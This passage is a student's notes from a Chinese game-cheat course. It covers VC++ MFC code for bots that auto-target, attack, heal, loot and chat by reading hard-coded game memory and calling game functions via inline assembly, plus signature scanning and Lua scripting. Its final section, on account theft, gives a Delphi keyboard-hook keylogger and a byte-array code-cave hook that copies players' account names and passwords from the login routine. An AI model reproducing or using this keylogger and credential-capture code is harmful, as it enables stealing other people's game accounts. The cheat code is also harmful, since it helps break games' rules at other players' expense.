// TODO: Add your control notification handler code here

// ------------------Page1-------------------

// --------------------------------------------

page1.UpdateData(true); //窗口數據 更新變量

if (page1.m_ck_bAutoSelMon)

{

//開啟自動選怪

page1.SetTimer(Timer_AutoSelMon_ID,500,AutoSelMon_Callback);

}else 

{

//關掉自動選怪

page1.KillTimer(Timer_AutoSelMon_ID);

}

// --------------------------------------------------

    page1.UpdateData(true); //窗口數據 更新變量

if (page1.m_ck_bAutoSelMon)

{

//開啟自動打怪

page1.SetTimer(Timer_AutoBeatMon_ID,500,AutoBeatMon_Callback);

}else 

{

//關掉自動打怪

page1.KillTimer(Timer_AutoBeatMon_ID);

}

 

}

 

將時間函數統一設置在GameProc.h里,注意標識號不要重復.

在各個時間函數中添加更新命令:UpdateData(True);

自動打怪/自動選怪還需要設置一下和聲明

 

void CPAGE1::OnCheckAutoselmon() 

{

// TODO: Add your control notification handler code here

UpdateData(true);

if (m_ck_bAutoSelMon)

{

//開啟自動選怪

SetTimer(Timer_AutoSelMon_ID,500,AutoSelMon_Callback);

}else 

{

//關掉自動選怪

KillTimer(Timer_AutoSelMon_ID);

}

}

 

void CPAGE1::OnCheckAutobeatmon() 

{

 UpdateData(true); //窗口數據 更新變量

  if (m_ck_bAutoBeatMon)

{

//開啟自動打怪

SetTimer(Timer_AutoBeatMon_ID,500,AutoBeatMon_Callback);

}else 

{

//關掉自動打怪

KillTimer(Timer_AutoBeatMon_ID);

}

}

 

設置一下掛機范圍,如果選小了確實不打怪了.然后是停止掛機功能,是將所有的時間控制函數全關掉:

void CWGForm::OnButtonStop() 

{

// TODO: Add your control notification handler code here

// page1 timer

page1.KillTimer(Timer_AutoBeatMon_ID);//停止自動打怪

page1.KillTimer(Timer_AutoSelMon_ID); //停止自動選怪

}

 

本節課和上節課都屬於VC基礎課,對於我這樣基礎不好的人真是需要仔細的學習,一直以來我都感覺VC的控件不如DELPHI的好用,現在來看VC的控件雖然麻煩,但是卻更加靈活,可以編輯出更加個性化的界面.

4.0.3、保護選項卡-自動補紅補藍函數構建

           a、402中的BUG修整

           b、算法設計

           c、編寫代碼

           d、功能測試

//修改BUG IDC_EDIT_AREA 為對應控件 資源ID

  CString s;

((CEdit*)GetDlgItem(IDC_EDIT_AREA))->GetWindowText(s);

if (s.IsEmpty()) //如果 編輯框 為空了 

{

this->m_edt_fAreaLimit=0; //防止 “請輸入一個數”出現

UpdateData(false); //更新0字符到窗口

        ((CEdit*)GetDlgItem(IDC_EDIT_AREA))->SetSel(0,1);

}

UpdateData(true);

 //////////常量定義區域////////////////////

 

 

--------------------------------關聯變量------------------------------------------

//為CEdit控件 設置Number屬性

IDC_EDIT_HP1  m_edt_iHp1   //int

IDC_EDIT_HP2  m_edt_iHp2   //int

IDC_EDIT_MP1  m_edt_iMp1   //int

IDC_EDIT_MP2  m_edt_iMp2   //int

//去掉所有ComboBox的Sort屬性

IDC_COMBO_HP1 m_combo_Hp1_List  //CComboBox

IDC_COMBO_HP2 m_combo_Hp2_List  //CComboBox

IDC_COMBO_MP1 m_combo_Mp1_List  //CComboBox

IDC_COMBO_MP2 m_combo_Mp2_List  //CComboBox

IDC_CHECK_SAFE m_chk_bSafe      //BOOL 添加一個CheckBox

---------------------------------------------------------------------------------

//參考2.1.3角色屬性

 基址 0x4820160

       +0: 當前血值

       +4: 當前魔力值

       +8: 持久力 

       +C: 血值上限

       +10:魔力值上限

       +14:持久力上限 1000

       +1C:善惡度

       +18:當前經驗值

       +20:升級到下一級所需經驗值

       +24: 靈獸 持有數量 上限2

       +2C:歷練值

       +30:心

       +34:力

       +38:體

       +3C:身

在Gameproc.h 中添加

const int CurHpBase=0x4820160;

 

在WGForm.cpp中添加函數

int GetCurHpValue()//返回當前血值

{

  int* pi;

  pi=(int*)(CurHpBase+0);

  return *pi;

}

int GetCurMpValue()//返回當前魔力值 

{

  int* pi;

  pi=(int*)(CurHpBase+4);

  return *pi;

}

 

int GetCurHpMaxValue()//返回當前血值上限

{

  int* pi;

  pi=(int*)(CurHpBase+0xC);

  return *pi;

}

int GetCurMpMaxValue() //返回當前魔力值上限

{

  int* pi;

  pi=(int*)(CurHpBase+0x10);

  return *pi;

}

 

在Gameproc.h中添加外部函數申明

extern int GetCurHpValue();//返回當前血值 

extern int GetCurMpValue();//返回當前魔力值

extern int GetCurHpMaxValue();//返回當前血值上限 

extern int GetCurMpMaxValue(); //返回當前魔力值上限

在usegoods中添加一行

void UseGoods(const int index)

{if (index==-1 ) {return;} //退出

 

 

//寫 低血低魔 定時器回調函數

 

void CALLBACK AutoCheckSafe_CallBack

(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)

{

  //檢測血值 < edt1_hp

   if (GetCurHpValue()<page2.m_edt_iHp1)

   {

     CString sels;

int i=page2.m_combo_Hp1_List.GetCurSel();

page2.m_combo_Hp1_List.GetLBText(i,sels);

     UseGoods(GetGoodsIndex(sels.GetBuffer(10)));

   }

    if (GetCurHpValue()<page2.m_edt_iHp2)

{ CString sels;

int i=page2.m_combo_Hp2_List.GetCurSel(); //取出ComboBox選中的索引值

page2.m_combo_Hp2_List.GetLBText(i,sels); //取出ComboBox當前選中字符串

     UseGoods(GetGoodsIndex(sels.GetBuffer(10))); // 參考2.5.4 、使用指定物品 UseGoods(int index=0);

    

   }

 //檢測魔力值

 if (GetCurMpValue()<page2.m_edt_iMp1)

   {

     CString sels;

int i=page2.m_combo_Mp1_List.GetCurSel();

page2.m_combo_Mp1_List.GetLBText(i,sels);

     UseGoods(GetGoodsIndex(sels.GetBuffer(10)));

   }

    if (GetCurMpValue()<page2.m_edt_iMp2)

{   CString sels;

int i=page2.m_combo_Mp2_List.GetCurSel();

page2.m_combo_Mp2_List.GetLBText(i,sels);

     UseGoods(GetGoodsIndex(sels.GetBuffer(10)));

 

   }

 

}

 

//為消息 WM_INITDIALOG 關聯虛函數

 

BOOL CPAGE2::OnInitDialog() 

{

CDialog::OnInitDialog();

// TODO: Add extra initialization here

return TRUE;  // return TRUE unless you set the focus to a control

              // EXCEPTION: OCX Property Pages should return FALSE

}

在Gameproc.h里添加一行

//低血低魔保護

extern void CALLBACK AutoCheckSafe_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime);

 

 

 

/////////////////////////////////////////////////////////////////////////////

 

 

繼續上節課,先修改一下上節課的BUG,如果編輯框中為空則默認為0的值.將紅藍設置好,再關聯變量.再加入Check復選框,設置讓血值紙於XX時給予提示(代碼在教案中),設置好列表框,還要獲取當前列表框內容.再加入定時器進行管理,再初始化這幾個編輯框.

 

 

CPAGE2::CPAGE2(CWnd* pParent)

: CDialog(CPAGE2::IDD, pParent)

{

m_edt_iHp1 = 300;

m_edt_iHp2 = 150;

m_edt_iMp1 = 300;

m_edt_iMp2 = 150;

m_chk_bSafe = true;

//}}AFX_DATA_INIT

}

 

//設置默認選中項

 

void CPAGE2::DoDataExchange(CDataExchange* pDX)

{

CDialog::DoDataExchange(pDX);

//{{AFX_DATA_MAP(CPAGE2)

DDX_Control(pDX, IDC_COMBO_MP2, m_combo_Mp2_List);

DDX_Control(pDX, IDC_COMBO_MP1, m_combo_Mp1_List);

DDX_Control(pDX, IDC_COMBO_HP2, m_combo_Hp2_List);

DDX_Control(pDX, IDC_COMBO_HP1, m_combo_Hp1_List);

DDX_Text(pDX, IDC_EDIT_HP1, m_edt_iHp1);

DDX_Text(pDX, IDC_EDIT_HP2, m_edt_iHp2);

DDX_Text(pDX, IDC_EDIT_MP1, m_edt_iMp1);

DDX_Text(pDX, IDC_EDIT_MP2, m_edt_iMp2);

DDX_Check(pDX, IDC_CHECK_SAFE, m_chk_bSafe);

//}}AFX_DATA_MAP

}

 

再設置一下初始化…然后進行掛機測試,發現自動選怪不行,在自動選怪處加入變量更新,現在已經可以正常掛機了.

 

 

4.0.4、撿物選項卡-自動撿物函數構建

           a、過濾垃圾物品-不撿垃圾列表里的物品

           b、算法設計

           c、編寫代碼

           d、功能測試

#include "GameProc.h"

 //1---------------控件關聯變量-------------

IDC_CHECK_PICKGOODS    m_chk_bAutoPickGoods //BOOL 自動撿物開關

IDC_CHECK_SIFT_TRASH   m_chk_b_SiftTrash    //BOOL 過濾垃圾物品開關

IDC_LIST_SIFT_TRASH    m_list_trash         //CCheckListBox

//2 添加一個文本框,2個按鈕

IDC_EDIT_ADDCONTENT    m_edt_cs_AddContent  //CString

IDC_BUTTON_ADD         

IDC_BUTTON_DELETE

 

//3 修改m_list_trash控件屬性 選中 Fixed,Has String 去掉sort屬性

// 打開page3.h文件 

找到  CListBoxm_list_trash; 修改成 CCheckListBoxm_list_trash;

 

//4自動撿物定時器 回調函數

//在 gameproc.h 里添加定時器 ID 和回調函數說明

#define Timer_CHECKPICKID    Timer_ID_BASE+6

extern  void CALLBACK AutoCheckPick_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime);

 

/* 參考3.4.3

dd i*4+CurListBase //物品屬性

 +8 //分類編號 33時表示物品

 +C //在對象數組中的 下標值 (通用)

 +64//與玩家距離

 +90//名字*/

//寫過濾物品 函數

 

 

void CPAGE3::OnButtonAdd() 

{

// TODO: Add your control notification handler code here

UpdateData(true);

    m_list_trash.AddString(m_edt_cs_AddContent);

    UpdateData(false);

}

 

void CPAGE3::OnCheckPickgoods()//開啟撿物功能

{

UpdateData(true);

if (m_chk_bAutoPickGoods) 

{

SetTimer(Timer_CHECKPICKID,500,AutoCheckPick_CallBack);//開啟自動撿物

}

else

{

KillTimer(Timer_CHECKPICKID); //關掉自動撿物

}

 

}

 

//過濾指定物品 函數

 void Sift_Goods(char * GoodsName) //參考以前物 過濾撿物修改

 {

 //遍歷物品列表

 

int* Goodsobj;//指向物品對象基址

int* obj_8;//分離編移 0x33才表示物品

char* obj_90; //物品名字

float* obj_64; //與玩家距離

char showstr[512],st[33];

 for (int i=0;i<0x1Fff;i++)

 {

  Goodsobj=(int*)(CurListBase+i*4);//取得對象基址指針

          if (*Goodsobj==0){break;} //遍歷到對象數組 尾部

  obj_8=(int*)(*Goodsobj+0x8);//指針指向分類編號

  if (*obj_8==0x33/*判斷是否為物品類*/)

  {//如果是物品則執行下列操

          obj_90=(char*)(*Goodsobj+0x90);//指針指向物品名字

  obj_64=(float*)(*Goodsobj+0x64);//此指針指向與玩家的距離

   //顯示出來

   memset(showstr,0,512);//清空內存

   memcpy(showstr,obj_90,strlen(obj_90));

   //strcat;字串+

   strcat(showstr,",距離:");

   //顯示距離

   //itoa((int)obj_64,st,10);//把距離 轉成字串 存放到st

   sprintf(st,"%f",*obj_64);

   strcat(showstr,st);

   //在列表控件里添加一行

   if ( (strcmp(obj_90,GoodsName)==0)) 

   {

    *obj_8=0x88;

   }

  

  }

 } //實行過濾

  

 

 }

 

 //////////////////////////////////////////////////////////////////////////

  //////////遍歷恢復物品屬性

 void ResumeGoodsList()

 {

int* Goodsobj;//指向物品對象基址

int* obj_8;//分離編移 0x33才表示物品

 

  for (int i=0x0;i<0x1Fff;i++)

 {

  Goodsobj=(int*)(CurListBase+i*4);//取得對象基址指針

          if (*Goodsobj==0){return;} //遍歷到對象數組 尾部

  obj_8=(int*)(*Goodsobj+0x8);//指針指向分類編號

  if (*obj_8==0x88/*判斷是否為物品類*/)

  {//如果是物品則執行下列操

             *obj_8=0x33;   

  

  }

  } //end for

}

void Sift_Trash() //過濾列表里的所有垃圾

{

CString GoodsNames;

 for (int i=0;i<page3.m_list_trash.GetCount();i++)// 遍歷垃圾物品列表

 {    

if (page3.m_list_trash.GetCheck(i)==1) //(打勾)選中的才過濾

{

  page3.m_list_trash.GetText(i,GoodsNames);

  Sift_Goods(GoodsNames.GetBuffer(10)); //過濾指定名物品+8=0x88

}

   

 }

}

void CPAGE3::OnCheckSiftTrash() 

{

// TODO: Add your control notification handler code here

UpdateData(true);

}

 

 

void CALLBACK AutoCheckPick_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)

{   

//過濾物品(修改物品屬性)

page3.UpdateData(true);

if (page3.m_chk_b_SiftTrash)

{

//過濾物品

 Sift_Trash(); //過濾列表里的所有垃圾

}

 PickGoods();

//恢復物品屬性

 ResumeGoodsList();

}

 

 

 

////////////////////////////////////////////////////////////////

 

繼續前面的代碼,豐富自動撿物功能,添加垃圾物品過濾功能,增加添加物品和刪除物品按鈕,再關聯幾個變量,將CcheckListBox的定義加入PAGE3.h頭文件中.添加了一下物品沒有顯示出來,在ListBox中將Owner draw選到NO就可以了,再修改一下Owner draw改成Fixed再勾上Has strings將物品輸入列表后會出現一個小復選框,這樣添加列表的代碼已經編寫完了.再編寫刪除的代碼:

void CPAGE3::OnButtonDelete() 

{

//m_list_trash.GetCurSel();獲取當前選則項

m_list_trash.DeleteString(m_list_trash.GetCurSel());

}

測試一下看效果,還要再將列表框中加入滾動條Horizontal scroll / Vertical scroll.

接下來到了開啟自動功能了OnCheckPickgoods (代碼在教案中)

再寫好過濾物品函數void CALLBACK AutoCheckPick_CallBack (代碼在教案中)

又將之前寫好的代碼進行了講解

添加過濾垃圾物品的復選框內代碼OnCheckSiftTrash(教案中)

修改代碼中的錯誤,來測試一下,發現人參馬上就可以撿起來了,而我們設置的垃圾物品就沒有撿.

4.0.5、喊話選項卡-自動喊話設置

           a、關聯變量

           b、喊話功能算法設計

           c、編寫代碼

           d、功能測試

 

IDC_CHECK_AUTOSPEAK  //自動喊話CheckBox

IDC_EDIT_INTERVAL    //時間間隔

IDC_BUTTON_ADD       //添加

IDC_BUTTON_DELETE    //刪除

IDC_EDIT_ADDCONTENT  //添加內容

IDC_LIST_SPEAK       //喊話列表框

 

//列表框屬性設置

Sort 去勾

Owner draw: Fixed

Has Strings:打勾

//關聯變量

IDC_CHECK_AUTOSPEAK  m_chk_autospeak//控件 自動喊話CheckBox

IDC_EDIT_INTERVAL    m_iSpeakInterval//int 時間間隔

IDC_BUTTON_ADD       //添加

IDC_BUTTON_DELETE    //刪除

IDC_EDIT_ADDCONTENT  m_sAddContent//添加內容CString

IDC_LIST_SPEAK       m_list_speak//喊話列表框Control

//找到Page4.h修改 m_list_speak;變量類型為CCheckListBox

 

//添加喊話內容代碼

1、雙擊添加按鈕 關聯單擊消息代碼

// 添加喊話內容代碼

   UpdateData(true);//更新窗口字串內容至變量m_sAddContent

   m_list_speak.AddString(m_sAddContent);//添加m_sAddContent內容至喊話列表框

2、雙擊自動喊話 復選框 關聯單擊消息代碼

      // 添加喊話內容代碼

   UpdateData(true);//更新窗口字串內容至變量m_chk_autospeak

3、雙擊時間間隔文本框 為EN_CHANGE消息 關聯代碼

 UpdateData(true);//更新窗口字串內容至變量 m_iSpeakInterval

 //修改IDC_EDIT_INTERVAL  文本框屬性 勾選Number

 //轉到Page1選項卡 取得如下防止為空代碼

CString s;

((CEdit*)GetDlgItem(IDC_EDIT_AREA))->GetWindowText(s);

if (s.IsEmpty()) //如果 編輯框 為空了 

{

this->m_edt_fAreaLimit=0; //防止 “請輸入一個數”出現

UpdateData(false); //更新0字符到窗口

        ((CEdit*)GetDlgItem(IDC_EDIT_AREA))->SetSel(0,1);

}

UpdateData(true);

//修改 

CString s;

((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->GetWindowText(s);

if (s.IsEmpty()) //如果 編輯框 為空了 

{

this-> m_iSpeakInterval=0; //防止 “請輸入一個數”出現

UpdateData(false); //更新0字符到窗口

        ((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->SetSel(0,1);

}

UpdateData(true);

//寫喊話定時器回函數

 void CALLBACK AutoCheckSpeak_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)

{   

//過濾物品(修改物品屬性)

page4.UpdateData(true);

if (page4.m_chk_autospeak)

{

//開啟自動喊話

   

}else

{

//關閉自動喊話

}

  

}  //end;

//在頭文件gameproc.h里添加 回調函數說明

//自動喊話

extern void CALLBACK AutoCheckSpeak_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime);

在page4.cpp頭部添加 #include  "GameProc.h"

4、更新基址 及修改 talk函數

#define Talk_Base             0x127*4+0x5C8D420 //喊話內容CALL 及 ECX 基址

const int Talk_Content_Base=  0x015c71c4;    //喊話內容基址

 

//寫自動喊話函數

//全局變量

int speakNum=0;

void autotalk()

{  

//循環使用喊話列表

char content[255];

  while (true) 

{

  if ( page4.m_list_speak.GetCheck(speakNum)) //列表中被選中的內容 才喊話

  {   page4.m_list_speak.GetText(speakNum,content);

  talk(_T(content));

  speakNum++; //指針指向下一句話

   break;

  } else {speakNum++;} //未選中則指針下移

  if ((speakNum+1)>=page4.m_list_speak.GetCount()) //當指針 大於 列表總數時

  {

         speakNum=0;//重置0

         break; //遍歷完退出

  }

//列表相關判斷

 

}

 

 

 void CALLBACK AutoCheckSpeak_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)

{   

//過濾物品(修改物品屬性)

page4.UpdateData(true);

if (page4.m_chk_autospeak)

{

//開啟自動喊話

    autotalk();

}else

{

//關閉自動喊話

}

 

BOOL CPAGE4::OnInitDialog() 

{

CDialog::OnInitDialog();

 

m_list_speak.AddString("喊話內容1");

m_list_speak.AddString("喊話內容2");

 

return TRUE;   

}

 

 

 

 

 

void CPAGE4::OnChangeEditInterval() 

{

CString s;

((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->GetWindowText(s);

if (s.IsEmpty()) //如果 編輯框 為空了 

{

this-> m_iSpeakInterval=0; //防止 “請輸入一個數”出現

UpdateData(false); //更新0字符到窗口

        ((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->SetSel(0,1);

}

 

 

 UpdateData(true);//更新窗口字串內容至變量m_chk_autospeak

}

  

 

void CPAGE4::OnCheckAutospeak() //自動喊話復選框

{

// TODO: Add your control notification handler code here

 UpdateData(true);//更新窗口字串內容至變量m_chk_autospeak

 if (m_chk_autospeak)

 {

         //開啟喊話定時器

          SetTimer(Timer_CheckSpeak,m_iSpeakInterval,AutoCheckSpeak_CallBack);

 }else

 {

 //關閉喊話定時器

 KillTimer(Timer_CheckSpeak);

 }

 

}

 

void CPAGE4::OnButtonDelete() 

{

// TODO: Add your control notification handler code here

m_list_speak.DeleteString(m_list_speak.GetCurSel());

}

在gameproc.h中添加

#define Timer_CheckSpeak     Timer_ID_BASE+7

 

 

//////////常量定義區域////////////////////

const int  CurRoleBase     =  0x5C93360 ;   //當前角色基址

const int  CurListBase     =  0x5C8D420 ;   //所有對象列表基址

const int  SendDataCall    =  0x0043D420;   //發包CALL

const int  BeatMonCall     =  0x00460B60;   //普攻打怪CALL

const int  PickGoodsCall   =  0x00460D60;   //撿物動作CALL

const int  F1_F10Call      =  0x005F09E0;   //F1_F10技能欄CALL

const int  F1_F10ECX       =  0x15E8520 ;   //F1_F10技能欄ECX

 

#define Talk_Base             0x127*4+0x5C8D420 //喊話內容CALL 及 ECX 基址

const int Talk_Content_Base=  0x015c71c4;    //喊話內容基址

const int GoodsBase        =  0x485A774;   //物品背包數組基址 

const int UseGoodsCallBase =  0x00585560;   //物品使用CALL 基址 

const int CurHpBase        =  0x4858888;    //+0當前血值基址,+4當前魔力值

 

 

///////////////////////////////////////////////////////////////////////

 

我發現老師的教案越來越詳細了,我只好記錄一下過程了.

 

還是繼續編寫代碼,增加喊話功能.在PAG4里添加一個文本框用來添加喊話的內容,再來將這幾個控件的名字改一下方便使用,更改一下列表框的排序方式,增加滾動條,再關聯幾個變量, .設置一下喊話的間隔時間,在這個整型變量中設置一下最大數和最小數 (都在教案中).

添加”添加”按鈕的代碼

 

void CPAGE4::OnButtonAdd() 

{

  UpdateData(true);//更新窗口字串內容至變量m_sAddContent

   m_list_speak.AddString(m_sAddContent);//添加m_sAddContent內容至喊話列表框

}

 

添加后測試一下沒添加進去,再修改一下代碼,在變量定義這里將類改一下CcheckListBox是帶復選框的樣式.為了方便測試再將喊話的內容加入初始化, 

CPAGE4::CPAGE4(CWnd* pParent /*=NULL*/)

: CDialog(CPAGE4::IDD, pParent)

{

//{{AFX_DATA_INIT(CPAGE4)

m_chk_autospeak = FALSE;

m_sAddContent = _T("我們的喊話內容");

m_iSpeakInterval = 5000;

//}}AFX_DATA_INIT

}

 

添加自動喊話復選框OnCheckAutospeak() 的代碼(教案中)

再添加回調函數CALLBACK AutoCheckSpeak_CallBack,添加在頭文件中…再添加喊話代碼talk函數和自動喊話函數autotalk(教案中)

void talk(const char* text)//text="1234"

{

 int base;

  char *s;//[144F134]+13c; 

  int *p;

  p=(int*)(Talk_Content_Base);

  s=(char*)(*p+0x13c);

  memcpy(s,text,strlen(text));

  base=Talk_Base;

  _asm

{mov esi,base

 mov esi,[esi]  

 mov edx,[esi]

 push 0x0d

 push 0x0d

 push 0x3ed

 mov ecx,esi

 call [edx+4]

}

}

 

再添加刪除字串功能,測試一下OK了.再修改一下時間間隔,在喊話編輯框失去焦點時設置為5000毫秒

void CPAGE4::OnKillfocusEditInterval() 

{

//當文本框失去焦點時

if (m_iSpeakInterval<5000) 

{

m_iSpeakInterval=5000;

UpdateData(false);

}

 

}

 

4.1、游戲更新后的外掛更新

           a、游戲特征碼的提取及注意事項

           d、根據特征碼查找基址+偏移

           c、更新外掛

 

 

////////////////////////////////////////////////////

 

游戲又更新了,為了查找方便,今天就來按特征碼的方式找到以前需要的信息.舉例子,先選了幾行進行查找,注意帶有常量數值(OD中白色數字)的是不能夠當作特征碼的,匯編指令和偏移一般可以當作特征碼.當然也可以將上下多復制一些行保存起來如果前幾行特征碼不行則找后幾行,如果實在找不到則找其中的子CALL看看.也可以找一下”所有命令序列”看看重復的特征碼有多少.比如F1-F10是一個CASE所以在這段中比較長能夠做特征碼的代碼也比較多.再找一下另一個

 

當然在OD中特征碼不能超過8行,可以做特征碼的例子如下:

//

MOV ECX,13

XOR EAX,EAX

LEA EDI,DWORD PTR SS:[EBP-5C]

CMP EDX,ESI

 

//

LEA EDI,DWORD PTR SS:[EBP-287A]

MOV WORD PTR SS:[EBP-287C],SI

MOV WORD PTR SS:[EBP-287E],SI

MOV WORD PTR SS:[EBP-2880],SI

REP STOS DWORD PTR ES:[EDI]

 

//  可作特征碼

 MOV EAX,DWORD PTR DS:[EDX+240]          

 TEST EAX,EAX

4.2 腳本功能

A、LUA功能簡介

B、LUA庫得獲取

C、腳本的解釋器的使用

D、編寫腳本測試代碼

 

注:教案丟了,這里是截圖

 

 

 

 

 

 

先到LUA的主頁下載解釋文件,然后解壓縮並運行luavs.bat安裝到VC中,會生成一些文件,SRC目錄就是資源庫.

然后將原來的代碼中的第5選項卡改成腳本,添加一個EDIT控件用於存放腳本,添加一個按鈕用來執行腳本命令,再關聯變量。要使用腳本首先要創建一個解釋器的指針,也就是全局變量,需要一個頭文件

Extern “c”

{

#include “luasrc\lua.h”

#include “luasrc\lualib.h”

#include “luasrc\lauxlib.h”

}

還要使用到動態鏈接庫lua51.dll和lua51.lib,復制到我們的EXE程序目錄下,再加入預編譯命令

#pragma comment(lib,"lua51.lib")

還有全局變量解釋器指針lua_State *L;我們要用F1-F10進行測試,所以這里要先對其進行包裝

int f1_f10(lua_State*L) //只包含一個參數

{   int index;

    index=lua_tointeger(L,1); //取F1F10第一個參數 並轉換成整數存放到index

F1_F10(index);  

//MessageBox(0,"TEST","LUA",MB_OK);

return 1;

}

 

BOOL CPAGE5::OnInitDialog() 

{

CDialog::OnInitDialog();

 

// TODO: Add extra initialization here

L=lua_open();//初始化指針

  lua_register(L,"F1F10",f1_f10);//對函數進行注冊參數1是指針,參數2是被定義的函數名稱,參數3是在C++里的變量

lua_register(L,"SELMON",selmon);//選怪函數注冊

lua_register(L,"USEGOODS",usegoods);

return TRUE;  // return TRUE unless you set the focus to a control

              // EXCEPTION: OCX Property Pages should return FALSE

}

 

寫好代碼后測試一下,發現無論怎么調用都會執行,原來是執行腳本還沒有取文本框里的內容,再來設置一下.在執行腳本按鈕中添加代碼:

void CPAGE5::OnButtonDoscript() 

{

// TODO: Add your control notification handler code here

//執行文本框里邊的腳本

UpdateData();//更新變量內容

luaL_dostring(L,m_edt_s_script.GetBuffer(m_edt_s_script.GetLength()));

}

執行一下已經正確了,為了保證腳本內大小寫的正確,所以直接轉換成所有都是大寫.執行一下,用F1F10[1]調用F1鍵進行攻擊,已經可以了:

int f1_f10(lua_State*L) //只包含一個參數

{   int index;

    index=lua_tointeger(L,1); //取F1F10第一個參數 並轉換成整數存放到index

F1_F10(index);  

//MessageBox(0,"TEST","LUA",MB_OK);

return 1;

}

看一下LUA腳本是否支持漢字,發現是不支持的.,但是也有辦法,在執行命令之前將漢字轉換成英文就可以了.再試一下選怪,這個是2個參數的.

int selmon(lua_State*L)//(float area,BOOL LimitFlag) //選怪功能

{ float area;//臨時變量

  BOOL LimitFlag;//臨時變量

  area=lua_tonumber(L,1);  //取得第一個參數

  LimitFlag=lua_toboolean(L,2);//以BOOL的方式轉換第二個字串參數 並存放到LimitFlag里邊

  SelMon(area,LimitFlag); //調用真正的選怪CALL

 return 1;

}

測試一下選怪,游戲出錯了,是我們選怪函數沒有更新?應該是參數2造成的,再測試一下又出錯了.再用使用物品進行測試,又出錯了.修改一下這次正確了.

用LUA做腳本發布的時候必須要帶lua51.dll庫.

 

 

 

隨筆:老師說他也是第一次用LUA,真看不出來他咋學東西這么快呢,我是看着有點暈.不如在DELPHI班中老師自己寫了一個腳本解釋器來的直接.

4.3.1 盜號的實現(第一種鍵盤鈎子)

本課是DELPHI班的補充內容.打開DELPHI班2-4-1的代碼

 

var 

 s:string;

 rolebase:^integer;

 

Function keyproc(icode,wp,lp:integer):DWORD;stdcall;   //鍵盤HOOK回調函數

begin

  if (icode=HC_ACTION)and ((1 shl 31)and lp=0){鍵按下} then

begin

 rolebase:=Pointer($95E800+$1c);     //dd [[95e800+1c]+24]

rolebase:=Pointer(rolebase^+$24);

if rolebase^=0 then//判斷是否已經進入游戲

 s:=s+char(wp); //取得字符串

 if form1=nil then  Form1:=Tform1.Create(nil);//創建窗口

form1.RzMemo1.Text:=s;//顯示按的鍵符

if (wp=VK_HOME)   then//如果按HOME鍵則打開或者關閉窗口

begin 

form1.Visible:=not form1.Visible;//窗口取反

              end;

            end;

 keyProc:=CallNextHookEx(keyhhk,icode,wp,lp);//恢復原來的鈎子

end;

 

 

 

打開游戲測試一下已經可以取得鍵盤代碼了

 

 

 

 

4.3.1盜號實現(第二種內存數據)

再來另一種盜號實現,首先下bp send斷點,隨便輸入一個密碼被斷下,看一下堆棧里的數據,發現了字符串,找到關鍵地址

0058CD49     |B8 807A8800   MOV EAX,ElementC.00887A80

0058CD4E  |. |895C24 30     MOV DWORD PTR SS:[ESP+30],EBX

0058CD52  |. |895C24 34     MOV DWORD PTR SS:[ESP+34],EBX

0058CD56  |. |895C24 38     MOV DWORD PTR SS:[ESP+38],EBX

0058CD5A  |. |894424 2C     MOV DWORD PTR SS:[ESP+2C],EAX

0058CD5E  |. |895C24 40     MOV DWORD PTR SS:[ESP+40],EBX

0058CD62  |. |895C24 44     MOV DWORD PTR SS:[ESP+44],EBX

0058CD66  |. |895C24 48     MOV DWORD PTR SS:[ESP+48],EBX

0058CD6A  |. |894424 3C     MOV DWORD PTR SS:[ESP+3C],EAX

0058CD6E  |. |C74424 24 744>MOV DWORD PTR SS:[ESP+24],ElementC.00894874

0058CD76  |. |C74424 28 020>MOV DWORD PTR SS:[ESP+28],2

0058CD7E  |. |8B95 28010000 MOV EDX,DWORD PTR SS:[EBP+128]                     ;  密碼

0058CD84  |. |8B85 24010000 MOV EAX,DWORD PTR SS:[EBP+124]                     ;  帳號                 ;  帳號

 

我們在0058CD49     |B8 807A8800   MOV EAX,ElementC.00887A80這里修改成我們自己的跳轉,找一段空代碼00885D9D,編寫代碼,原理就是將賬號密碼取出來放在我們指定的位置不消失.

 

  PUSHAD /保護堆棧

  MOV ESI,[EBP+124] //這里是賬號

  MOV EDI,00885D9D   //我們保存賬號地址885D9

  MOV ECX,10 //賬號長度

  REP MOVSB //把ESI指向字串復制到EDI指向地址,長度是ECX.

  MOV ESI,[EBP+128]  //原密碼地址

  MOV EDI,00885DDD   //保存密碼到地址

  MOV ECX,10 //密碼長度

  REP MOVSB //復制字符串

  POPAD //恢復堆棧

  MOV EAX, 00887A80 //恢復原匯編代碼

  JMP 0058CD4E //跳回原處

 

但是這樣寫完了還是不行,因為有頁面保護,我們用CE附加到游戲進程,用CE找到我們修改的代碼處看看是否可讀寫執行,如果不可的話就用CE修改一下.測試一下發現游戲卡死了,我們直接寫代碼吧……寫好代碼后測試一下,出錯了,是頁面保護的問題,修改PAGE_EXECUTE_READWRITE后可以執行了,最終代碼如下:

 

 

//先定義匯編代碼的數組

var

//0058CD49     /E9 478F2F00   JMP ElementC.00885C95

jmpHook:array[1..5] of byte=($E9,$47,$8F,$2F,$00);

//30的大小是我們匯編指令的長度

GetID  :array[1..$30] of byte=

 ($60,  //60  PUSHAD

$8B,$B5,$24,$01,$00,$00, //8BB5 24010000   MOV ESI,DWORD PTR SS:[EBP+124]

$BF,$9D,$5D,$88,$00,   //BF 9D5D8800     MOV EDI,ElementC.00885D9D                ; 885d9d

$B9,$10,$00,$00,$00,   //B9 10000000     MOV ECX,10

$F3,$A4, //rep movsb

$8B,$B5,$28,$01,$00,$00,//8BB5 28010000   MOV ESI,DWORD PTR SS:[EBP+128]           ; 885ddd

$BF,$dd,$5D,$88,$00,// BF DD5D8800     MOV EDI,ElementC.00885DDD 

$B9,$10,$00,$00,$00,// B9 10000000     MOV ECX,10

$F3,$A4,

$61,  //popad

$B8,$80,$7A,$88,$00,     //B8 807A8800     MOV EAX,ElementC.00887A80

$E9,$89,$70,$d0,$FF);//E9 8970D0FF     JMP ElementC.0058CD4E

oldProtect:DWORD;

procedure TForm1.Button11Click(Sender: TObject);

begin

